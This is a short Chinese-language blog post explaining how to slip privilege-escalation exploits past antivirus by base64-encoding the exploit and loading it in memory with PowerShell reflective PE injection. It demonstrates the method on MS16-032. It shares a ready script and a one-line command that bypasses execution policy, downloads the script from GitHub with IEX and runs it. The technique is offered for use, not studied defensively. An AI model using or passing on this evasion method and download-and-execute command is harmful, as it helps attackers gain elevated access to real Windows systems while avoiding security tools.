有时候,使用某些exp进行提权的时候,exp可能会被查杀,当然,有源码的话,我们可以在源码上进行修改进行免杀处理,但是今天介绍的是另外一只方法,即使用PEloader来加载exp。
powershell的PEloader在这里,查看代码我们可以看到,这个脚本使用非常简单,具体代码如下:
获取exp的字节流,之后再在内存中加载exp,所以思路也很简单,我们只需要把需要的exp转换成字符串,写入脚本,就可以构造一个powershell脚本。
这里整理了一个脚本方便转换:
使用zcgonvh的16032做演示。使用脚本转换:
生成base64的字符串并存储在b64.txt中。
使用如下命令进行转换:
$InputString = "base64string"
之后就可以使用 |
Invoke-ReflectivePEInjection -PEBytes $PEBytes
进行加载,最后分享一下最终的脚本:
E2P_MS16-032.ps1
使用方式为:
E2P_MS16-032 -Command '"net user"'
脚本GITHUB: |
远程加载命令:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/E2P_MS16-032.ps1');E2P_MS16-032 -Command '\"whoami\"'"
文章出处:Evi1cg's blog
原文链接: https://evi1cg.me/archives/BypassAV_With_ReflectivePEInjection.html
你可能喜欢